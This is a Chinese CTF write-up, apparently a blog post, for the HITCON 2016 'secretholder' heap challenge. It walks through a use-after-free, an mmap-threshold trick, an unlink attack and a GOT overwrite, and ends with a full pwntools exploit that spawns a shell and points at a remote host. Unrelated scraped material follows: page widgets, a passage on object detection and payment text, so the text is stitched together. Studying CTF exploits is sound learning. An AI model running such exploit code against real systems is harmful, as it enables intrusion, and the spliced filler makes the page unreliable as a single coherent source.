unlink-secretholder

题目 : hitconctf2016-secretholder

保护:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ElDL0f5N-1642058831878)(unlink(secretholder)].assets/image-20220112221842756.png)

add函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iXGfAjEY-1642058831879)(unlink(secretholder)].assets/image-20220112221514637.png)

dele函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qfsdGX1I-1642058831880)(unlink(secretholder)].assets/image-20220112221604615.png)

update函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TmRjW5PS-1642058831880)(unlink(secretholder)].assets/image-20220112221717273.png)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rKIvMNeJ-1642058831881)(unlink(secretholder)].assets/image-20220112222139719.png)

总体下来可以发现程序很简单,漏洞有uaf 和 double free,堆块类型是否可以malloc \ 修改由bss段中的xx_is_use决定,无pie,可通过修改got表或者将one_gadget写入__malloc_hook__free_hook中getshell,那么这里的限制条件就是只能malloc三种类型的chunk,分别是一个fast chunk和2个large chunk且每种类型的chunk只能malloc一次,它由对应类型的xx_is_use控制

  1. 因为程序没有提供打印函数 所以unsotbin泄漏libc就用不了
  2. 程序没有限制double free 但是不能同时存在2个fast chunk所以不能进行fast bin攻击到__malloc_hook
  3. 那么程序就需要修改got表为一个打印函数,打印出got地址从而进行泄露libc再改got表getshell
  4. 可以发现程序的重要变量都放置在bss段,且有uaf漏洞
  5. unlink的满足条件是用于存放fake chunk的chunk可堆溢出到next chunk的头部和fd\bk值,
    已知位置存在一个指针指向伪造fake chunk的chunk(无pie)

因为每个类型的chunk只能申请此一次,那么不能进行常规的double free进行任意地址写入.

#------------营造堆溢出条件----------------
#利用uaf漏洞以达到往0x28chunk中可写入0xfa0的大小
add(1)   #申请一个fast chunk
dele(1)  #放入fast bin
add(2)   #申请large chunk ,此时会合并fast bin并放入top chunk , 因为uaf的原因large chunk 拿到了fast chunk的指针
dele(1) #此时fast \ large chunk指向同一个指针,但是还有一个xx_is_use可以利用它控制malloc
        #这里我将fast chunk的is_use使用状态置为0,以便后面我可以再次malloc一次fast chunk
add(1)  #此时fast \large chunk依旧指向同一个指针
        #那么就可以通过修改large chunk的内容来修改fast chunk的内容了

通过上面就营造出了堆溢出的条件

因为unlink的两个chunk进行交互,那么就需要把more large chunk给malloc出来,因为申请的内存为0x61a80 topchunk肯定是无法满足的,则会调用sysmalloc()函数移动brk指针扩展topchunk的大小或者是通过mmap()函数进行分配, 很显然调用mmap()函数不是目的

那么sysmalloc()首先会通过申请的size是否大于阈值(mp_.mmap_threshold)大于则使用mmap()反之扩大topchunk
恰好在__libc_free()函数中存在动态改变mp_.mmap_threshold值的定义.如下:

void __libc_free (void *mem){
    ....
p = mem2chunk (mem);

  if (chunk_is_mmapped (p)) //是否该chunk由mmap()分配
    {
      if (!mp_.no_dyn_threshold
          && p->size > mp_.mmap_threshold
          && p->size <= DEFAULT_MMAP_THRESHOLD_MAX) //查看动态 brk/mmap 阈值是否需要调整
        {
          mp_.mmap_threshold = chunksize (p); //调整大小为前面mmap()分配的chunk的大小
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);
      return;
      .....
 }
#------------营造next chunk----------------
add(3) #通过mmap()分配0x61A80
dele(3) #调整mp_.mmap_threshold大小由 0x20000 -> 0x62000
add(3) #此时即可正常调用brk()扩展top chunk分配

但是不知道为什么chunk已经正常分配出来了0x61a90的空间,但是top chunk并没有显示变大,还是之前的0x20541,并且此时的mp_.mmap_threshold已经发生了大小变化???这个问题记录一下~

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ui5jjGBs-1642058831881)(unlink(secretholder)].assets/image-20220113144046497.png)

然后就是常规的unlink操作和绕过了

#------------fake chunk + 绕过unlink检测----------------
target = 0x6020b0
fake = p64(0) + p64(0x21)
fake += p64(target-0x18) + p64(target-0x10)
fake += p64(0x20) + p64(0x61a90)  #常规的unlink操作
update(2,fake) #用large chunk的长度修改fast chunk内容造成堆溢出
dele(3)                                           

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wngHLYoI-1642058831882)(unlink(secretholder)].assets/image-20220113145645175.png)

然后就是修改got表进行libc泄露

#------------修改got----------------
payload = p64(0) + p64(e.got['free']) + p64(0) + p64(e.got['puts'])
update(1,payload)
update(2,p64(e.plt['puts']))
dele(1)
leak = uu64(ru("\n")[:6])
libc_base = leak - libc.symbols['puts']
success("libc_base",libc_base)

getshell同理,最后完整exp:

# -*-coding:utf-8 -*
from pwn import *
import sys

context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./secretHolder"

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc
    #libc = ELF('./libc_32.so.6')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()


def z(s='b main'):
 gdb.attach(p,s)

def success(string,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def pa(s='暂停!'):
  log.success('当前执行步骤 -> '+s)
  pause()
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
one = [0x45206,0x4525a,0xcc673,0xcc748,0xef9f4,0xefa00,0xf0897,0xf5e40] #2.23


def add(types):
    sla("3. Renew secret\n",'1')
    sla("3. Huge secret\n",str(types))
    sla("ell me your secret: \n",'/bin/bash')
def dele(types):
    sla("3. Renew secret\n",'2')
    sla("3. Huge secret\n",str(types))
def update(types,data):
    sla("3. Renew secret\n",'3')
    sla("3. Huge secret\n",str(types))
    sa("ell me your secret: \n",data)


#------------营造堆溢出条件----------------
#利用uaf漏洞以达到往0x28chunk中可写入0xfa0的大小
add(1)   #申请一个fast chunk
dele(1)  #放入fast bin
add(2)   #申请large chunk ,此时会合并fast bin并放入top chunk , 因为uaf的原因large chunk 拿到了fast chunk的指针
dele(1) #此时fast \ large chunk指向同一个指针,但是还有一个xx_is_use可以利用它控制malloc
        #这里我将fast chunk的is_use使用状态置为0,以便后面我可以再次malloc一次fast chunk
add(1)  #此时fast \large chunk依旧指向同一个指针
        #那么就可以通过修改large chunk的内容来修改fast chunk的内容了
#------------营造next chunk----------------
add(3) #通过mmap()分配0x61A80
dele(3) #调整mp_.mmap_threshold大小由 0x20000 -> 0x62000
add(3) #此时即可正常调用brk()扩展top chunk分配
#------------fake chunk + 绕过unlink检测----------------
target = 0x6020b0
fake = p64(0) + p64(0x21)
fake += p64(target-0x18) + p64(target-0x10)
fake += p64(0x20) + p64(0x61a90)  #常规的unlink操作
update(2,fake) #用large chunk的长度修改fast chunk内容造成堆溢出
dele(3)
#------------修改got----------------
payload = p64(0) + p64(e.got['free']) + p64(0) + p64(e.got['puts'])
update(1,payload)
update(2,p64(e.plt['puts']))
dele(1)
leak = uu64(ru("\n")[:6])
libc_base = leak - libc.symbols['puts']
success("libc_base",libc_base)
#------------getshell ----------------
update(2,p64(libc_base + libc.symbols['system']))
add(1)
dele(1)
#------------end----------------
it()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
目标检测(Object Detection)是计算机视觉领域的一个核心问题,其主要任务是找出图像中所有感兴趣的目标(物体),并确定它们的类别和位置。以下是对目标检测的详细阐述: 一、基本概念 目标检测的任务是解决“在哪里?是什么?”的问题,即定位出图像中目标的位置并识别出目标的类别。由于各类物体具有不同的外观、形状和姿态,加上成像时光照、遮挡等因素的干扰,目标检测一直是计算机视觉领域最具挑战性的任务之一。 二、核心问题 目标检测涉及以下几个核心问题: 分类问题:判断图像中的目标属于哪个类别。 定位问题:确定目标在图像中的具体位置。 大小问题:目标可能具有不同的大小。 形状问题:目标可能具有不同的形状。 三、算法分类 基于深度学习的目标检测算法主要分为两大类: Two-stage算法:先进行区域生成(Region Proposal),生成有可能包含待检物体的预选框(Region Proposal),再通过卷积神经网络进行样本分类。常见的Two-stage算法包括R-CNN、Fast R-CNN、Faster R-CNN等。 One-stage算法:不用生成区域提议,直接在网络中提取特征来预测物体分类和位置。常见的One-stage算法包括YOLO系列(YOLOv1、YOLOv2、YOLOv3、YOLOv4、YOLOv5等)、SSD和RetinaNet等。 四、算法原理 以YOLO系列为例,YOLO将目标检测视为回归问题,将输入图像一次性划分为多个区域,直接在输出层预测边界框和类别概率。YOLO采用卷积网络来提取特征,使用全连接层来得到预测值。其网络结构通常包含多个卷积层和全连接层,通过卷积层提取图像特征,通过全连接层输出预测结果。 五、应用领域 目标检测技术已经广泛应用于各个领域,为人们的生活带来了极大的便利。以下是一些主要的应用领域: 安全监控:在商场、银行
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值